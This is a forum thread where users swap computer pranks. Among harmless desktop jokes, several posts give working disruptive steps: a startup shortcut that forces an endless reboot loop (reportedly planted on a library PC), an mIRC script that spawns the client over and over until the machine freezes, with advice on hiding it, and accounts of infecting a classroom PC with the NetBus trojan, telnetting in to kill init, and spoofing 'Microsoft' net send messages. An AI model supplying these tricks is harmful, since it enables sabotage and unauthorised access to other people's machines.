Computer Pranks

I love these!
we should make this thread just for computer pranks:
but my favorite prank isnt on here:

you take a screen shot of the computer "Print Screen"
and save it in Paint
save it as their background.
and delete all their icons!

that one is a classic

another simple one that you can do to people is change their homepage to something obscene, simple but effective.

This involves opening the case
Take a small strip of tape.... Stick it to one side of t he ram.. No harm will come to the computer but it sure as hell wont boot.... The IT guy will be totally stumped. Took my teacher 3 days to figure out what was wrong with his computer... some turd leaked it to him that we did something to the ram

Slighty Off topic: Lethal_OD i was upgrading some ram but stupidly didnt manage to force the ram all the way in, so my computer was broken for about 5 days, i wondered what was wrong. My friends dad came round and took a look, he thought it was something to do with the monitor or graphics card, after a long time of fiddling (2 hours) - nothing. Then he looked at the ram and saw that they wern't put in all the way, he pushed them in and Kazam (!) my computer worked, seems ram is the last place to look :confused:

On Topic:

Haha that's really funny, Suran. It would be best to remove the taskbar from the wallpaper as well.

This one has to be the best:

If your co-worker needs to constantly reboot his computer because of crashing applications, why not give him a helping hand with a shortcut that will restart his computer in his Startup folder? Here's how in Windows XP.

1. Right-click the Start menu.
2. Select Explore Users.
3. Navigate to Programs > Startup.
4. Right-click the file windows and select New > Shortcut.
5. When the window pops up asking for the location, enter

"%windir%system32shutdown.exe -r -t 00."

Yes you could... that would be great.

heh. i pity the next person to use that computer in our library....

You applied the shutdown loop on a computer in your library haha.

Alt+Shift+Print Screen then press enter.
Try it. Its fun. nothing really anoying just kind of a cool macro.

*note: you must use the LEFT ALT key

thats a quality thing jinx, though geeknewz looks bad .. you can read half of the writing :S

For those of you that know IRC heres a lil snippit that is most effective.

on *:start:{ var %i 0 | while (%i > 60000) { /run $mircexe | inc %i 1 } }

>:) If you don't know what that will do it basically will start irc 60,000 times when you start irc for the first time. Even at that once it starts a new irc it redoes that script over and over.. so it goes 1st time it opens another. both those open 1 so now we got 4 .. so on and so on.. it'll freeze any pcs up quicker then you can say OMG... If you want to hide the code so the person doesnt know theirs a way to encode it into IRC encryption....

I did this to my teacher once (who is an M.C.S.E. )

In our computer shop we set up a "dedicated" computer.. Basically, we had extra computers in the shop, and were able to use the computer for whatever we wanted (storage, dedicated gaming, tweaking, whatever), and it didn't have to work along with our class. So, we started messing around with the trojan NETBUS and infected the computer. Well, our teacher didn't know that we were doing. So, we went into another classroom and connect to the computer we had infected. We started playing random audio files, popping up blocked web pages, and even opening and closing the CD-ROM tray. When we came back, our teacher said that he shut down our storage computer because it was acting weird.

lol.. nice.. you shoulda setup a webcam so it could record what he was doing (his facial expressions)

Back in the days of windows 98, I once took a screen shot of someone's desktop and then I used it as their desktop background. However, after I set the screenshot as background, I moved all the desktop shortcuts to a hidden folder. Therefore, the screenshot which is now the background makes it seem like the shortcuts are there...But in reality they aren't becuz it's just part of the screen shot.

My friend kept clicking the shortcuts and he was freaking out. He restarted his computer a few times until finally I bursted out laughing.

Once during a Lunix Administration class in college last year. We were doing a test and we had to set up tcp so the whole call was on one network but different subnets.

I statered telneting in to peoples computer and shuting down the "init"(witch causes the computer to reboot) and opening cd trays.

next test we had: everyone put in admin passwords!

I forgot who did it but I saw this site that a friend sent to me were a million windows would open up and just slide all over the screen to were you couldnt close it in the bg it was singing "You are gay" over and over.. it was pretty kewl.. I sent to my mom at her work .... she got home and almost killed me... >:) her boss called me the next day askin for the link so he could send to his partners... hehe

The site was driven by Javascripts.. gotta love em... (well to an extent)

i have seen one like that...

Just Don't click this!

GTX, that is freaking halarious, I can see the look on Mr. Wachob's face right now hahaahahhahahahahahahahahahha WOW

Back in highschool...During my computer class someone decided to send a message over the network to everyone's computer...It said something like

"John* is gay."

*I've changed the name to the first name I could think of.

Anyways, this guy who was the target of the prank, was in fact an ass. He was smart but he was an ass. Anyhow, once the message came up he came straight to my friend and started to go nuts. I was with my friend and I know he didn't do it. He thought my friend did it because at the time my friend was known for his computer knowledge. I don't know if they had any history but I was sitting next to my friend and I was watching what he was doing since I didn't know what the hell I was doing...and I didn't see my friend send the message. Anyhow, after the guy calmed down and went to go nuts on someone else...My friend and I had a good laugh.

EDIT: Suran, I must be blind. I didn't see that in the first post! I just went straight to the link in the first post and then I posted without reading further. Sorry! Oops!

A good prank that I have played on some friends invovles the net send command. What I did was I used the net send command to send a message that said "Microsoft has detected that you have a small penis. Please consider upgrading for better performance.", to other people on my local network. When you use the net send command in the command prompt, you specify the computer you want it sent to by typing the computer name, it also says on the message which computer it came from, so I changed my computer name to Microsoft, so it appeared, to the technically challenged, that the message acutally came from Microsoft. In case you were interested, the syntax for the net send is:

net send computername message

At the next LAN party that I go to, I am going to do this to quite a few people who don't know about the net send.

I love dos. All the "net" commands are good!
i mainly use it for log on scripts. but for pranks its good too.

Too many people know it though and they can see "from computer (name)"

that why you change the computer name to something like Windows or Microsoft.